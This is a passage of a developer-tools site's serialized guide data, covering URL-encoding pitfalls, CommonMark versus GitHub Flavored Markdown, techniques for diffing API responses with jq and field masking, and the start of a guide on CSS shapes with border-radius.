values.",[11,34462,1355],{"id":1354},[41,34464,34465,34476,34484,34487,34496,34499],{},[44,34466,34467,34468,34471,34472,34475],{},"Double encoding turns ",[143,34469,34470],{},"%XX"," into ",[143,34473,34474],{},"%25XX"," — decode before re-encoding",[44,34477,1388,34478,34480,34481,34483],{},[143,34479,33827],{}," for parameter values, ",[143,34482,33927],{}," for full URLs",[44,34485,34486],{},"Reserved characters in user input must be encoded to prevent parameter injection",[44,34488,34489,34490,34492,34493,34495],{},"Spaces are ",[143,34491,34150],{}," in URLs but ",[143,34494,9448],{}," in form encoding — know which context you are in",[44,34497,34498],{},"Encode URL components individually, never the entire URL string",[44,34500,34501],{},"URL encoding is not encryption — it is trivially reversible",[11,34503,286],{"id":285},[16,34505,34506,34507,34511],{},"Encode and decode URLs correctly with our free ",[98,34508,34510],{"href":34509},"\u002Ftools\u002Furl-encoder","URL Encoder",". Paste any text to see its percent-encoded form, or paste an encoded URL to decode it — all processing happens locally in your browser.",[16,34513,34514],{},[98,34515,34516],{"href":34509},"Try the URL Encoder →",[2043,34518,34519],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":34521},[34522,34523,34528,34531,34532,34535,34536,34537,34538],{"id":33680,"depth":337,"text":33681},{"id":33687,"depth":337,"text":33688,"children":34524},[34525,34526,34527],{"id":33691,"depth":343,"text":33692},{"id":33780,"depth":343,"text":33781},{"id":33798,"depth":343,"text":33799},{"id":33887,"depth":337,"text":33888,"children":34529},[34530],{"id":33891,"depth":343,"text":33892},{"id":34032,"depth":337,"text":34033},{"id":34139,"depth":337,"text":34140,"children":34533},[34534],{"id":34235,"depth":343,"text":33799},{"id":34253,"depth":337,"text":34254},{"id":34388,"depth":337,"text":34389},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Avoid the most frequent URL encoding errors. Learn about double encoding, reserved character mishandling, and encoding order bugs.",{"immutable":363},"\u002Fguides\u002Fcommon-url-encoding-mistakes",{"title":33675,"description":34539},"guides\u002Fcommon-url-encoding-mistakes","mcxhFVZgmUIf8kwnqPsl9IHfeKbnKRZmM-ejcaIOFNY",{"id":34546,"title":34547,"body":34548,"date":2070,"description":34904,"extension":361,"meta":34905,"navigation":363,"path":34906,"readingTime":1710,"seo":34907,"stem":34908,"__hash__":34909},"guides\u002Fguides\u002Fcommonmark-vs-gfm.md","CommonMark vs GFM: Key Differences",{"type":8,"value":34549,"toc":34898},[34550,34553,34557,34560,34563,34611,34614,34618,34621,34626,34663,34669,34689,34695,34704,34710,34719,34732,34736,34739,34753,34762,34772,34778,34851,34855,34860,34871,34875,34886,34889,34896],[16,34551,34552],{},"Markdown looks simple on the surface, but its lack of a formal specification led to years of inconsistent parsing. A heading might render correctly in one tool but break in another because each implementation made different choices about edge cases. CommonMark was created to solve this with a definitive spec. GitHub Flavored Markdown (GFM) builds on CommonMark with extensions for the needs of developer platforms. Understanding where they diverge helps you write Markdown that renders consistently wherever it appears.",[11,34554,34556],{"id":34555},"what-commonmark-standardizes","What CommonMark Standardizes",[16,34558,34559],{},"CommonMark debuted in 2014 as an effort to eliminate ambiguity in Markdown parsing. John MacFarlane and contributors wrote a spec covering every edge case, backed by thousands of conformance tests. The result is the most rigorous Markdown specification available.",[16,34561,34562],{},"Key areas CommonMark clarifies include:",[41,34564,34565,34575,34581,34591,34597],{},[44,34566,34567,34570,34571,34574],{},[47,34568,34569],{},"Nested emphasis",": Rules for how ",[143,34572,34573],{},"*foo **bar** baz*"," parses, preventing the mysterious broken bold\u002Fitalic that plagued early parsers.",[44,34576,34577,34580],{},[47,34578,34579],{},"List behavior",": Precise rules for continuation, indentation, and when a list item can contain paragraphs or sub-lists.",[44,34582,34583,34586,34587,34590],{},[47,34584,34585],{},"Link reference definitions",": Exact scope and precedence rules for ",[143,34588,34589],{},"[ref]: url"," definitions.",[44,34592,34593,34596],{},[47,34594,34595],{},"HTML blocks",": Which HTML tags start a block-level HTML section and where those blocks end.",[44,34598,34599,34602,34603,34606,34607,34610],{},[47,34600,34601],{},"Hard line breaks",": Whether a trailing two spaces or ",[143,34604,34605],{},"\\"," produces a ",[143,34608,34609],{},"\u003Cbr>",", and in what contexts.",[16,34612,34613],{},"CommonMark does not include tables, task lists, strikethrough, or autolinks. These are everyday features for developers, which is exactly why GFM exists.",[11,34615,34617],{"id":34616},"gfm-extensions-on-top-of-commonmark","GFM Extensions on Top of CommonMark",[16,34619,34620],{},"GFM is a strict superset of CommonMark. Any valid CommonMark document is also valid GFM, but GFM adds several extensions:",[16,34622,34623,34625],{},[47,34624,3107],{}," use pipe characters and hyphens:",[135,34627,34631],{"className":34628,"code":34629,"language":34630,"meta":141,"style":141},"language-markdown shiki shiki-themes github-light github-dark","| Feature    | CommonMark | GFM |\n|------------|------------|-----|\n| Tables     | No         | Yes |\n| Task lists | No         | Yes |\n| Strikethrough | No      | Yes |\n| Autolinks  | No         | Yes |\n","markdown",[143,34632,34633,34638,34643,34648,34653,34658],{"__ignoreMap":141},[1560,34634,34635],{"class":1562,"line":1563},[1560,34636,34637],{},"| Feature    | CommonMark | GFM |\n",[1560,34639,34640],{"class":1562,"line":337},[1560,34641,34642],{},"|------------|------------|-----|\n",[1560,34644,34645],{"class":1562,"line":343},[1560,34646,34647],{},"| Tables     | No         | Yes |\n",[1560,34649,34650],{"class":1562,"line":365},[1560,34651,34652],{},"| Task lists | No         | Yes |\n",[1560,34654,34655],{"class":1562,"line":889},[1560,34656,34657],{},"| Strikethrough | No      | Yes |\n",[1560,34659,34660],{"class":1562,"line":1710},[1560,34661,34662],{},"| Autolinks  | No         | Yes |\n",[16,34664,34665,34668],{},[47,34666,34667],{},"Task lists"," add checkboxes to list items:",[135,34670,34672],{"className":34628,"code":34671,"language":34630,"meta":141,"style":141},"- [x] Write spec\n- [ ] Implement parser\n- [ ] Write tests\n",[143,34673,34674,34679,34684],{"__ignoreMap":141},[1560,34675,34676],{"class":1562,"line":1563},[1560,34677,34678],{},"- [x] Write spec\n",[1560,34680,34681],{"class":1562,"line":337},[1560,34682,34683],{},"- [ ] Implement parser\n",[1560,34685,34686],{"class":1562,"line":343},[1560,34687,34688],{},"- [ ] Write tests\n",[16,34690,34691,34694],{},[47,34692,34693],{},"Strikethrough"," uses double tildes:",[135,34696,34698],{"className":34628,"code":34697,"language":34630,"meta":141,"style":141},"This is ~~deleted~~ text.\n",[143,34699,34700],{"__ignoreMap":141},[1560,34701,34702],{"class":1562,"line":1563},[1560,34703,34697],{},[16,34705,34706,34709],{},[47,34707,34708],{},"Autolinks"," turn bare URLs and email addresses into links without angle brackets:",[135,34711,34713],{"className":34628,"code":34712,"language":34630,"meta":141,"style":141},"Visit https:\u002F\u002Fgithub.com for details.\n",[143,34714,34715],{"__ignoreMap":141},[1560,34716,34717],{"class":1562,"line":1563},[1560,34718,34712],{},[16,34720,34721,34724,34725,1856,34728,34731],{},[47,34722,34723],{},"Disallowed raw HTML"," is a security extension that filters certain HTML tags (like ",[143,34726,34727],{},"\u003Cscript>",[143,34729,34730],{},"\u003Ctextarea>",") to prevent injection in user-generated content. This is not a syntax feature but a rendering restriction that CommonMark leaves to implementers.",[11,34733,34735],{"id":34734},"where-they-diverge-in-practice","Where They Diverge in Practice",[16,34737,34738],{},"Although GFM is a superset, there are subtle rendering differences that catch developers off guard:",[16,34740,34741,34744,34745,34748,34749,34752],{},[47,34742,34743],{},"Heading IDs",": GFM automatically generates ",[143,34746,34747],{},"id"," attributes on headings for anchor linking. CommonMark makes no such requirement. If you rely on ",[143,34750,34751],{},"#heading-with-dashes"," anchors in your documentation, you are depending on GFM behavior.",[16,34754,34755,34758,34759,34761],{},[47,34756,34757],{},"Line breaks in lists",": CommonMark and GFM handle hard line breaks inside list items slightly differently. A backslash at the end of a list line may produce a ",[143,34760,34609],{}," in one but not the other depending on the surrounding whitespace.",[16,34763,34764,34767,34768,34771],{},[47,34765,34766],{},"Emphasis inside words",": The spec rules for ",[143,34769,34770],{},"foo_bar_baz"," differ. CommonMark treats underscores within words as literal characters, while some older parsers emphasized them. GFM follows CommonMark rules strictly, but this remains a source of confusion when migrating from non-CommonMark parsers.",[16,34773,34774,34777],{},[47,34775,34776],{},"HTML block termination",": CommonMark defines precise conditions for ending an HTML block — specifically, a blank line. GFM follows this, but tools like mdBook or Hugo sometimes apply their own HTML parsing rules, leading to different output.",[193,34779,34780,34792],{},[196,34781,34782],{},[199,34783,34784,34786,34789],{},[202,34785,21080],{},[202,34787,34788],{},"CommonMark",[202,34790,34791],{},"GFM",[211,34793,34794,34806,34819,34833,34841],{},[199,34795,34796,34801,34804],{},[216,34797,34798],{},[143,34799,34800],{},"~~text~~",[216,34802,34803],{},"Literal tildes",[216,34805,34693],{},[199,34807,34808,34813,34816],{},[216,34809,34810],{},[143,34811,34812],{},"- [x] task",[216,34814,34815],{},"Plain list item",[216,34817,34818],{},"Checkbox",[199,34820,34821,34827,34830],{},[216,34822,34823,34824],{},"Bare ",[143,34825,34826],{},"https:\u002F\u002F...",[216,34828,34829],{},"Plain text",[216,34831,34832],{},"Autolink",[199,34834,34835,34837,34839],{},[216,34836,8219],{},[216,34838,193],{},[216,34840,8219],{},[199,34842,34843,34846,34848],{},[216,34844,34845],{},"Heading anchor IDs",[216,34847,3328],{},[216,34849,34850],{},"Auto-generated",[11,34852,34854],{"id":34853},"choosing-between-them","Choosing Between Them",[16,34856,1388,34857,34859],{},[47,34858,34788],{}," when:",[41,34861,34862,34865,34868],{},[44,34863,34864],{},"You want maximum portability across Markdown renderers.",[44,34866,34867],{},"You are building a parser and need a well-specified target.",[44,34869,34870],{},"Your content does not need tables or task lists.",[16,34872,1388,34873,34859],{},[47,34874,34791],{},[41,34876,34877,34880,34883],{},[44,34878,34879],{},"You are writing for GitHub, GitLab, or npm (all use GFM).",[44,34881,34882],{},"You need tables, task lists, or strikethrough in your documents.",[44,34884,34885],{},"Your audience expects developer-friendly Markdown features.",[16,34887,34888],{},"Most modern documentation platforms — Docusaurus, MkDocs, Nuxt Content — support GFM by default. If you are writing READMEs, issue comments, or documentation hosted on GitHub, you are already writing GFM even if you did not realize it.",[16,34890,34891,34892,34895],{},"To verify how your Markdown renders under different specifications, try the live preview tool at ",[98,34893,34894],{"href":34894},"\u002Ftools\u002Fmarkdown-to-html",", which supports both CommonMark and GFM parsing modes so you can spot differences before publishing.",[2043,34897,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":34899},[34900,34901,34902,34903],{"id":34555,"depth":337,"text":34556},{"id":34616,"depth":337,"text":34617},{"id":34734,"depth":337,"text":34735},{"id":34853,"depth":337,"text":34854},"Understand spec differences between CommonMark and GitHub Flavored Markdown rendering.",{},"\u002Fguides\u002Fcommonmark-vs-gfm",{"title":34547,"description":34904},"guides\u002Fcommonmark-vs-gfm","--Hix_LT7iuJb3cqq16XtTKfiGoVsbYVGGlTWJXwrDQ",{"id":34911,"title":34912,"body":34913,"date":2070,"description":35429,"extension":361,"meta":35430,"navigation":363,"path":35431,"readingTime":1710,"seo":35432,"stem":35433,"__hash__":35434},"guides\u002Fguides\u002Fcomparing-api-responses.md","Comparing API Responses: Find Differences Fast",{"type":8,"value":34914,"toc":35408},[34915,34919,34922,34925,34950,34954,34958,34961,35038,35041,35045,35090,35094,35098,35101,35109,35113,35116,35171,35179,35183,35201,35209,35213,35217,35220,35226,35291,35295,35298,35303,35307,35310,35315,35319,35351,35353,35373,35375,35395,35397,35405],[11,34916,34918],{"id":34917},"why-compare-api-responses","Why Compare API Responses?",[16,34920,34921],{},"When you consume or build APIs, the structure and content of responses matter. A changed field name, a missing property, or a shifted data type can break downstream code silently. Comparing responses across environments, versions, or deployments helps you catch these issues before users do.",[16,34923,34924],{},"Common scenarios where response comparison saves time:",[41,34926,34927,34933,34939,34945],{},[44,34928,34929,34932],{},[47,34930,34931],{},"Regression testing"," — Compare staging and production responses after a deploy",[44,34934,34935,34938],{},[47,34936,34937],{},"Integration validation"," — Verify that a third-party API still returns the expected shape",[44,34940,34941,34944],{},[47,34942,34943],{},"Version migration"," — Check what changed between API v1 and v2",[44,34946,34947,34949],{},[47,34948,640],{}," — Spot why the same request returns different results on two servers",[11,34951,34953],{"id":34952},"what-to-compare-in-an-api-response","What to Compare in an API Response",[33,34955,34957],{"id":34956},"structure-vs-content","Structure vs. Content",[16,34959,34960],{},"Two kinds of differences matter in API responses:",[193,34962,34963,34975],{},[196,34964,34965],{},[199,34966,34967,34970,34972],{},[202,34968,34969],{},"Type",[202,34971,133],{},[202,34973,34974],{},"Impact",[211,34976,34977,34997,35014,35027],{},[199,34978,34979,34982,34991],{},[216,34980,34981],{},"Structural",[216,34983,34984,34985,5255,34988],{},"A field renamed from ",[143,34986,34987],{},"user_name",[143,34989,34990],{},"username",[216,34992,34993,34994,34996],{},"Code that reads ",[143,34995,34987],{}," breaks",[199,34998,34999,35002,35011],{},[216,35000,35001],{},"Content",[216,35003,35004,35005,5255,35008],{},"A price changed from ",[143,35006,35007],{},"9.99",[143,35009,35010],{},"10.99",[216,35012,35013],{},"Business logic error",[199,35015,35016,35019,35024],{},[216,35017,35018],{},"Type change",[216,35020,35021,35023],{},[143,35022,34747],{}," changed from number to string",[216,35025,35026],{},"Serialization breaks",[199,35028,35029,35032,35035],{},[216,35030,35031],{},"Order change",[216,35033,35034],{},"Array items in different order",[216,35036,35037],{},"May or may not matter",[16,35039,35040],{},"Structural changes are usually more dangerous because they break code that depends on specific field names and types. Content changes may be intentional business updates.",[33,35042,35044],{"id":35043},"key-fields-to-watch","Key Fields to Watch",[41,35046,35047,35053,35065,35071,35077],{},[44,35048,35049,35052],{},[47,35050,35051],{},"Status codes"," — A 200 vs. 404 difference is critical",[44,35054,35055,23567,35058,1531,35061,35064],{},[47,35056,35057],{},"Response headers",[143,35059,35060],{},"Content-Type",[143,35062,35063],{},"Cache-Control"," changes affect caching",[44,35066,35067,35070],{},[47,35068,35069],{},"Nested objects"," — Deeply nested changes are easy to miss visually",[44,35072,35073,35076],{},[47,35074,35075],{},"Array lengths"," — Missing or extra items indicate data issues",[44,35078,35079,23567,35082,35085,35086,35089],{},[47,35080,35081],{},"Null vs. missing",[143,35083,35084],{},"{ \"field\": null }"," differs from a response that omits ",[143,35087,35088],{},"field"," entirely",[11,35091,35093],{"id":35092},"methods-for-comparing-responses","Methods for Comparing Responses",[33,35095,35097],{"id":35096},"raw-text-diff","Raw Text Diff",[16,35099,35100],{},"The simplest approach: copy both JSON responses into a diff tool and compare line by line.",[16,35102,35103,35105,35106,35108],{},[47,35104,7444],{},": Works for any text format, catches every difference\n",[47,35107,7447],{},": Noisy — field order differences show as changes even when values are identical",[33,35110,35112],{"id":35111},"normalized-json-diff","Normalized JSON Diff",[16,35114,35115],{},"Sort object keys alphabetically and pretty-print both JSONs before comparing. This eliminates false positives from key ordering.",[135,35117,35119],{"className":6951,"code":35118,"language":6953,"meta":141,"style":141},"# Normalize with jq\njq -S . response1.json > normalized1.json\njq -S . response2.json > normalized2.json\ndiff normalized1.json normalized2.json\n",[143,35120,35121,35126,35145,35161],{"__ignoreMap":141},[1560,35122,35123],{"class":1562,"line":1563},[1560,35124,35125],{"class":1649},"# Normalize with jq\n",[1560,35127,35128,35131,35134,35137,35140,35142],{"class":1562,"line":337},[1560,35129,35130],{"class":1566},"jq",[1560,35132,35133],{"class":1576}," -S",[1560,35135,35136],{"class":5634}," .",[1560,35138,35139],{"class":5634}," response1.json",[1560,35141,32916],{"class":1669},[1560,35143,35144],{"class":5634}," normalized1.json\n",[1560,35146,35147,35149,35151,35153,35156,35158],{"class":1562,"line":343},[1560,35148,35130],{"class":1566},[1560,35150,35133],{"class":1576},[1560,35152,35136],{"class":5634},[1560,35154,35155],{"class":5634}," response2.json",[1560,35157,32916],{"class":1669},[1560,35159,35160],{"class":5634}," normalized2.json\n",[1560,35162,35163,35166,35169],{"class":1562,"line":365},[1560,35164,35165],{"class":1566},"diff",[1560,35167,35168],{"class":5634}," normalized1.json",[1560,35170,35160],{"class":5634},[16,35172,35173,35175,35176,35178],{},[47,35174,7444],{},": Eliminates key-order noise\n",[47,35177,7447],{},": Manual step required; doesn't handle semantic differences",[33,35180,35182],{"id":35181},"structural-comparison","Structural Comparison",[16,35184,35185,35186,1531,35189,35192,35193,35196,35197,35200],{},"Tools like ",[143,35187,35188],{},"json-diff-kit",[143,35190,35191],{},"deep-diff"," compare JSON semantically — they understand that ",[143,35194,35195],{},"{ \"a\": 1, \"b\": 2 }"," equals ",[143,35198,35199],{},"{ \"b\": 2, \"a\": 1 }"," and report only actual value differences.",[16,35202,35203,35205,35206,35208],{},[47,35204,7444],{},": Semantic awareness, clean output\n",[47,35207,7447],{},": Requires a library or specialized tool",[11,35210,35212],{"id":35211},"handling-common-challenges","Handling Common Challenges",[33,35214,35216],{"id":35215},"dynamic-values","Dynamic Values",[16,35218,35219],{},"Timestamps, request IDs, and tokens change on every response. These create noise that drowns out real differences.",[16,35221,35222,35225],{},[47,35223,35224],{},"Solution",": Mask dynamic fields before comparing. Replace known-volatile values with placeholders:",[135,35227,35229],{"className":1607,"code":35228,"language":1609,"meta":141,"style":141},"function maskDynamic(obj) {\n  const masked = { ...obj }\n  masked.timestamp = '\u003CMASKED>'\n  masked.request_id = '\u003CMASKED>'\n  return masked\n}\n",[143,35230,35231,35245,35261,35271,35280,35287],{"__ignoreMap":141},[1560,35232,35233,35235,35238,35240,35243],{"class":1562,"line":1563},[1560,35234,8648],{"class":1669},[1560,35236,35237],{"class":1566}," maskDynamic",[1560,35239,1688],{"class":1570},[1560,35241,35242],{"class":2219},"obj",[1560,35244,9345],{"class":1570},[1560,35246,35247,35249,35252,35254,35256,35258],{"class":1562,"line":337},[1560,35248,28057],{"class":1669},[1560,35250,35251],{"class":1576}," masked",[1560,35253,8186],{"class":1669},[1560,35255,1658],{"class":1570},[1560,35257,24388],{"class":1669},[1560,35259,35260],{"class":1570},"obj }\n",[1560,35262,35263,35266,35268],{"class":1562,"line":343},[1560,35264,35265],{"class":1570},"  masked.timestamp ",[1560,35267,7297],{"class":1669},[1560,35269,35270],{"class":5634}," '\u003CMASKED>'\n",[1560,35272,35273,35276,35278],{"class":1562,"line":365},[1560,35274,35275],{"class":1570},"  masked.request_id ",[1560,35277,7297],{"class":1669},[1560,35279,35270],{"class":5634},[1560,35281,35282,35284],{"class":1562,"line":889},[1560,35283,9350],{"class":1669},[1560,35285,35286],{"class":1570}," masked\n",[1560,35288,35289],{"class":1562,"line":1710},[1560,35290,1585],{"class":1570},[33,35292,35294],{"id":35293},"large-responses","Large Responses",[16,35296,35297],{},"APIs returning thousands of items make full comparison impractical.",[16,35299,35300,35302],{},[47,35301,35224],{},": Compare a subset — first 10 items, or filter to specific records. Or compare only the schema (field names and types) instead of every value.",[33,35304,35306],{"id":35305},"pagination","Pagination",[16,35308,35309],{},"Responses spanning multiple pages require careful handling.",[16,35311,35312,35314],{},[47,35313,35224],{},": Fetch all pages first, merge into a single dataset, then compare. Or compare page-by-page if you only need to verify the pagination structure.",[11,35316,35318],{"id":35317},"best-practices","Best Practices",[41,35320,35321,35327,35333,35339,35345],{},[44,35322,35323,35326],{},[47,35324,35325],{},"Save baseline responses"," — Store a known-good response for each endpoint as a reference",[44,35328,35329,35332],{},[47,35330,35331],{},"Automate comparisons"," — Run response diffs as part of your CI pipeline",[44,35334,35335,35338],{},[47,35336,35337],{},"Use JSON Schema validation"," — Catch structural changes with schema checks before comparing values",[44,35340,35341,35344],{},[47,35342,35343],{},"Document intentional changes"," — When an API change is deliberate, update your baseline and note the reason",[44,35346,35347,35350],{},[47,35348,35349],{},"Compare headers too"," — Don't focus only on the body; headers affect caching, CORS, and content negotiation",[11,35352,1355],{"id":1354},[41,35354,35355,35358,35361,35364,35367,35370],{},[44,35356,35357],{},"Comparing API responses catches regressions, integration issues, and version differences early",[44,35359,35360],{},"Structural changes (renamed fields, type shifts) are more dangerous than content shifts",[44,35362,35363],{},"Normalize JSON before comparing to eliminate key-order noise",[44,35365,35366],{},"Mask dynamic values like timestamps and request IDs to reduce false positives",[44,35368,35369],{},"Save baseline responses and automate comparisons in your CI pipeline",[44,35371,35372],{},"Don't ignore response headers — they carry important behavioral signals",[11,35374,321],{"id":320},[41,35376,35377,35383,35389],{},[44,35378,35379],{},[98,35380,35382],{"href":35381},"\u002Fguides\u002Ftext-diff-guide","Text Comparison Guide",[44,35384,35385],{},[98,35386,35388],{"href":35387},"\u002Fguides\u002Fjson-path-syntax","JSON Path Syntax",[44,35390,35391],{},[98,35392,35394],{"href":35393},"\u002Fguides\u002Fjson-schema-validation","JSON Schema Validation",[11,35396,286],{"id":285},[16,35398,35399,35400,35404],{},"Compare two API responses instantly with our free ",[98,35401,35403],{"href":35402},"\u002Ftools\u002Fdiff-checker","Diff Checker",". Paste your JSON responses, see every structural and content difference highlighted, and copy the results — no setup required.",[2043,35406,35407],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":35409},[35410,35411,35415,35420,35425,35426,35427,35428],{"id":34917,"depth":337,"text":34918},{"id":34952,"depth":337,"text":34953,"children":35412},[35413,35414],{"id":34956,"depth":343,"text":34957},{"id":35043,"depth":343,"text":35044},{"id":35092,"depth":337,"text":35093,"children":35416},[35417,35418,35419],{"id":35096,"depth":343,"text":35097},{"id":35111,"depth":343,"text":35112},{"id":35181,"depth":343,"text":35182},{"id":35211,"depth":337,"text":35212,"children":35421},[35422,35423,35424],{"id":35215,"depth":343,"text":35216},{"id":35293,"depth":343,"text":35294},{"id":35305,"depth":343,"text":35306},{"id":35317,"depth":337,"text":35318},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how to compare API responses effectively to catch regressions, validate integrations, and debug unexpected behavior.",{"immutable":363},"\u002Fguides\u002Fcomparing-api-responses",{"title":34912,"description":35429},"guides\u002Fcomparing-api-responses","l7V2cMzNJeJ4gBTqqVZ4u4KsyIWpfxrUxXp3JyvMHZ0",{"id":35436,"title":35437,"body":35438,"date":2070,"description":36888,"extension":361,"meta":36889,"navigation":363,"path":17661,"readingTime":1717,"seo":36892,"stem":36893,"__hash__":36894},"guides\u002Fguides\u002Fcomplex-css-shapes.md","Creating Complex CSS Shapes with Border Radius and Clip-Path",{"type":8,"value":35439,"toc":36870},[35440,35444,35450,35463,35467,35473,35532,35543,35546,35550,35552,35635,35638,35640,35699,35702,35706,35788,35791,35795,35802,35907,35911,36080,36084,36093,36206,36212,36216,36222,36376,36379,36382,36666,36670,36676,36753,36756,36758,36811,36813,36846,36848,36853,36855,36867],[11,35441,35443],{"id":35442},"beyond-rounded-corners","Beyond Rounded Corners",[16,35445,35446,35447,35449],{},"Most developers use ",[143,35448,16947],{}," with a single value to round all corners equally. But the property accepts up to eight values — four for each corner's horizontal and vertical radii — enabling shapes far beyond simple circles and pills.",[16,35451,20246,35452,12674,35454,1459,35457,1466,35459,35462],{},[143,35453,16947],{},[143,35455,35456],{},"clip-path",[143,35458,1514],{},[143,35460,35461],{},"rotate",", and you can create organic blobs, leaves, eggs, and complex geometric shapes entirely in CSS — no SVG or Canvas needed.",[11,35464,35466],{"id":35465},"the-eight-value-syntax","The Eight-Value Syntax",[16,35468,35469,35470,35472],{},"The full ",[143,35471,16947],{}," syntax separates horizontal and vertical radii with a slash:",[135,35474,35476],{"className":1554,"code":35475,"language":1556,"meta":141,"style":141},".element {\n  border-radius: 80px 40px 60px 30px \u002F 50px 70px 30px 60px;\n}\n",[143,35477,35478,35484,35528],{"__ignoreMap":141},[1560,35479,35480,35482],{"class":1562,"line":1563},[1560,35481,30399],{"class":1566},[1560,35483,1571],{"class":1570},[1560,35485,35486,35488,35490,35492,35494,35496,35498,35500,35502,35505,35507,35509,35511,35513,35516,35518,35520,35522,35524,35526],{"class":1562,"line":337},[1560,35487,17294],{"class":1576},[1560,35489,1663],{"class":1570},[1560,35491,5321],{"class":1576},[1560,35493,1670],{"class":1669},[1560,35495,18343],{"class":1576},[1560,35497,1670],{"class":1669},[1560,35499,18338],{"class":1576},[1560,35501,1670],{"class":1669},[1560,35503,35504],{"class":1576}," 30",[1560,35506,1670],{"class":1669},[1560,35508,14237],{"class":1570},[1560,35510,18059],{"class":1576},[1560,35512,1670],{"class":1669},[1560,35514,35515],{"class":1576}," 70",[1560,35517,1670],{"class":1669},[1560,35519,35504],{"class":1576},[1560,35521,1670],{"class":1669},[1560,35523,18338],{"class":1576},[1560,35525,1670],{"class":1669},[1560,35527,2228],{"class":1570},[1560,35529,35530],{"class":1562,"line":343},[1560,35531,1585],{"class":1570},[16,35533,35534,35535,35538,35539,35542],{},"The four values before the slash are top-left, top-right, bottom-right, bottom-left ",[47,35536,35537],{},"horizontal"," radii. The four after are the corresponding ",[47,35540,35541],{},"vertical"," radii.",[16,35544,35545],{},"When the horizontal and vertical radii differ at the same corner, you get an elliptical curve instead of a circular one — and that is the key to organic shapes.",[11,35547,35549],{"id":35548},"shape-recipes","Shape Recipes",[33,35551,18265],{"id":18264},[135,35553,35555],{"className":1554,"code":35554,"language":1556,"meta":141,"style":141},".egg {\n  width: 126px;\n  height: 180px;\n  border-radius: 50% 50% 50% 50% \u002F 60% 60% 40% 40%;\n}\n",[143,35556,35557,35563,35576,35589,35631],{"__ignoreMap":141},[1560,35558,35559,35561],{"class":1562,"line":1563},[1560,35560,18278],{"class":1566},[1560,35562,1571],{"class":1570},[1560,35564,35565,35567,35569,35572,35574],{"class":1562,"line":337},[1560,35566,12386],{"class":1576},[1560,35568,1663],{"class":1570},[1560,35570,35571],{"class":1576},"126",[1560,35573,1670],{"class":1669},[1560,35575,2228],{"class":1570},[1560,35577,35578,35580,35582,35585,35587],{"class":1562,"line":343},[1560,35579,12400],{"class":1576},[1560,35581,1663],{"class":1570},[1560,35583,35584],{"class":1576},"180",[1560,35586,1670],{"class":1669},[1560,35588,2228],{"class":1570},[1560,35590,35591,35593,35595,35597,35599,35601,35603,35605,35607,35609,35611,35613,35615,35617,35619,35621,35623,35625,35627,35629],{"class":1562,"line":365},[1560,35592,17294],{"class":1576},[1560,35594,1663],{"class":1570},[1560,35596,18059],{"class":1576},[1560,35598,17990],{"class":1669},[1560,35600,18318],{"class":1576},[1560,35602,17990],{"class":1669},[1560,35604,18318],{"class":1576},[1560,35606,17990],{"class":1669},[1560,35608,18318],{"class":1576},[1560,35610,17990],{"class":1669},[1560,35612,14237],{"class":1570},[1560,35614,18333],{"class":1576},[1560,35616,17990],{"class":1669},[1560,35618,18338],{"class":1576},[1560,35620,17990],{"class":1669},[1560,35622,18343],{"class":1576},[1560,35624,17990],{"class":1669},[1560,35626,18343],{"class":1576},[1560,35628,17990],{"class":1669},[1560,35630,2228],{"class":1570},[1560,35632,35633],{"class":1562,"line":889},[1560,35634,1585],{"class":1570},[16,35636,35637],{},"The top corners have larger vertical radii, making the top 